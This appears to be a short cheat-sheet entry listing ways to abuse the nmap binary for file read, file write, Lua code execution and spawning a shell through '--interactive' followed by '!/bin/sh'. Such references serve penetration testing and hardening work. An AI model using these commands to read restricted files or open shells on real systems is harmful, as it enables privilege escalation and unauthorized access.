nmap

File Read

The file is actually parsed as a list of hosts/networks, lines are leaked through error messages.

nmap -iL /path/to/input-file

File Write

The payload appears inside the regular nmap output.

nmap -oG=/path/to/output-file DATA

Inherit

This allows to run Lua code (`...`).

echo '...' >/path/to/temp-file
nmap --script=/path/to/temp-file

Shell

nmap --interactive
!/bin/sh